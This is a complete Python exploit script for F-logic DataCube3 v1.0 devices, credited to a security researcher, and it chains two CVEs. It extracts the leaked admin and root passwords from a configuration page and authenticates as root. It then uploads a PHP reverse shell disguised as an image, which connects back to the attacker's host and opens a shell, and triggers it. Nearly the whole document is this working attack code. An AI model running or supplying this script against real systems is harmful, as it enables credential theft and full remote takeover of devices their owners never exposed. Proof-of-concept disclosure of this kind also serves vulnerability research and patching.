DataCube3 1.0 Shell Upload

`# Exploit Title: DataCube3 v1.0 - Unrestricted file upload 'RCE'  
# Date: 7/28/2022  
# Exploit Author: Samy Younsi - NS Labs (https://neroteam.com)  
# Vendor Homepage: https://www.f-logic.jp  
# Software Link: https://www.f-logic.jp/pdf/support/manual_product/manual_product_datacube3_ver1.0_sc.pdf  
# Version: Ver1.0  
# Tested on: DataCube3 version 1.0 (Ubuntu)  
# CVE : CVE-2024-25830 + CVE-2024-25832  
  
# Exploit chain reverse shell, information disclosure (root password leak) + unrestricted file upload  
  
from __future__ import print_function, unicode_literals  
from bs4 import BeautifulSoup  
import argparse  
import requests  
import json  
import urllib3  
import re  
urllib3.disable_warnings()  
  
def banner():  
dataCube3Logo = """   
▒▒▒▒▒▒████████████████████████████████████▓▓▓▓▓▓▓▓  
▒▒▒▒▒▒▒▒██ DataCube3 Ver1.0 █F-logic▓▓  
▒▒████▒▒██ ████ ████ ██▓▓▓▓▓▓▓▓  
▒▒████▒▒██ ████ ████ ██▓▓▓▓▓▓▓▓  
▒▒▒▒▒▒▒▒██ ████ ████ ██▓▓▓▓▓▓▓▓  
▒▒▒▒▒▒▒▒██ ██▓▓████▓▓  
▒▒▒▒▒▒▒▒██ ██ ██ ██▓▓████▓▓  
▒▒▒▒▒▒▒▒██ █████████████████ ██▓▓▓▓▓▓▓▓  
▒▒▒▒▒▒████████████████████████████████████▓▓▓▓▓▓   
  
\033[1;92mSamy Younsi (Necrum Security Labs)\033[1;m \033[1;91mDataCube3 exploit chain reverse shell\033[1;m   
FOR EDUCATIONAL PURPOSE ONLY.   
"""  
return print('\033[1;94m{}\033[1;m'.format(dataCube3Logo))  
  
  
def extractRootPwd(RHOST, RPORT, protocol):  
url = '{}://{}:{}/admin/config_all.php'.format(protocol, RHOST, RPORT)  
try:  
response = requests.get(url, allow_redirects=False, verify=False, timeout=20)  
if response.status_code != 302:  
print('[!] \033[1;91mError: DataCube3 web interface is not reachable. Make sure the specified IP is correct.\033[1;m')  
exit()  
soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')  
scriptTag = str(soup.find_all('script')[12]).replace(' ', '')  
rawLeakedData = re.findall('configData:.*,', scriptTag)[0]  
jsonLeakedData = json.loads('[{}]'.format(rawLeakedData.split('configData:[')[1].split('],')[0]))  
adminPassword = jsonLeakedData[12]['value']  
rootPassword = jsonLeakedData[14]['value']  
print('[INFO] DataCube3 leaked credentials successfully extracted: admin:{} | root:{}.\n[INFO] The target must be vulnerable.'.format(adminPassword, rootPassword))  
return rootPassword  
except:  
print('[ERROR] Can\'t grab the DataCube3 version...')  
  
  
def generateAuthCookie(RHOST, RPORT, protocol, rootPassword):  
print('[INFO] Generating DataCube3 auth cookie ...')  
url = '{}://{}:{}/admin/config_all.php'.format(protocol, RHOST, RPORT)  
data = {  
'user_id': 'root',  
'user_pw': rootPassword,  
'login': '%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3'  
}  
try:  
response = requests.post(url, data=data, allow_redirects=False, verify=False, timeout=20)  
if response.status_code != 302:  
print('[!] \033[1;91mError: An error occur while trying to get the auth cookie, is the root password correct?\033[1;m')  
exit()  
authCookie = response.cookies.get_dict()   
print('[INFO] Authentication successful! Auth Cookie: {}'.format(authCookie))   
return authCookie  
except:  
print('[ERROR] Can\'t grab the auth cookie, is the root password correct?')  
  
  
def extractAccesstime(RHOST, RPORT, LHOST, LPORT, protocol, authCookie):  
print('[INFO] Extracting Accesstime ...')  
url = '{}://{}:{}/admin/setting_photo.php'.format(protocol, RHOST, RPORT)  
try:  
response = requests.get(url, cookies=authCookie, allow_redirects=False, verify=False, timeout=20)  
if response.status_code != 302:  
print('[!] \033[1;91mError: An error occur while trying to get the accesstime value.\033[1;m')  
exit()  
soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')  
accessTime = soup.find('input', {'name': 'accesstime'}).get('value')  
print('[INFO] AccessTime value: {}'.format(accessTime))  
return accessTime  
except:  
print('[ERROR] Can\'t grab the accesstime value, is the root password correct?')  
  
  
def injectReverseShell(RHOST, RPORT, LHOST, LPORT, protocol, authCookie, accessTime):  
print('[INFO] Injecting PHP reverse shell script ...')  
filename='rvs.php'  
payload = '<?php $sock=fsockopen("{}",{});$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);?>'.format(LHOST, LPORT)  
  
data = '-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name="add"\r\n\r\nå��ç��追å�\xA0\r\n-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name="addPhoto"; filename="{}"\r\nContent-Type: image/jpeg\r\n\r\n{}\r\n-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name="accesstime"\r\n\r\n{}\r\n-----------------------------113389720123090127612523184396--\r\n'.format(filename, payload, accessTime)  
  
headers = {  
'Content-Type': 'multipart/form-data; boundary=---------------------------113389720123090127612523184396'  
}  
url = '{}://{}:{}/admin/setting_photo.php'.format(protocol, RHOST, RPORT)  
try:  
response = requests.post(url, cookies=authCookie, headers=headers, data=data, allow_redirects=False, verify=False, timeout=20)  
if response.status_code != 302:  
print('[!] \033[1;91mError: An error occur while trying to upload the PHP reverse shell script.\033[1;m')  
exit()  
shellURL = '{}://{}:{}/images/slideshow/{}'.format(protocol, RHOST, RPORT, filename)  
print('[INFO] PHP reverse shell script successfully uploaded!\n[INFO] SHELL URL: {}'.format(shellURL))  
return shellURL  
except:  
print('[ERROR] Can\'t upload the PHP reverse shell script, is the root password correct?')  
  
  
def execReverseShell(shellURL):  
print('[INFO] Executing reverse shell...')  
try:  
response = requests.get(shellURL, allow_redirects=False, verify=False)  
print('[INFO] Reverse shell successfully executed.')  
return  
except Exception as e:  
print('[ERROR] Reverse shell failed. Make sure the DataCube3 device can reach the host {}:{}')  
return False  
  
  
def main():  
banner()  
args = parser.parse_args()  
protocol = 'https' if args.RPORT == 443 else 'http'  
rootPassword = extractRootPwd(args.RHOST, args.RPORT, protocol)  
authCookie = generateAuthCookie(args.RHOST, args.RPORT, protocol, rootPassword)  
accessTime = extractAccesstime(args.RHOST, args.RPORT, args.LHOST, args.LPORT, protocol, authCookie)  
shellURL = injectReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT, protocol, authCookie, accessTime)  
execReverseShell(shellURL)  
  
  
if __name__ == '__main__':  
parser = argparse.ArgumentParser(description='Script PoC that exploit an unauthenticated remote command injection on f-logic DataCube3 devices.', add_help=False)  
parser.add_argument('--RHOST', help='Refers to the IP of the target machine. (f-logic DataCube3 device)', type=str, required=True)  
parser.add_argument('--RPORT', help='Refers to the open port of the target machine. (443 by default)', type=int, required=True)  
parser.add_argument('--LHOST', help='Refers to the IP of your machine.', type=str, required=True)  
parser.add_argument('--LPORT', help='Refers to the open port of your machine.', type=int, required=True)  
main()  
  
`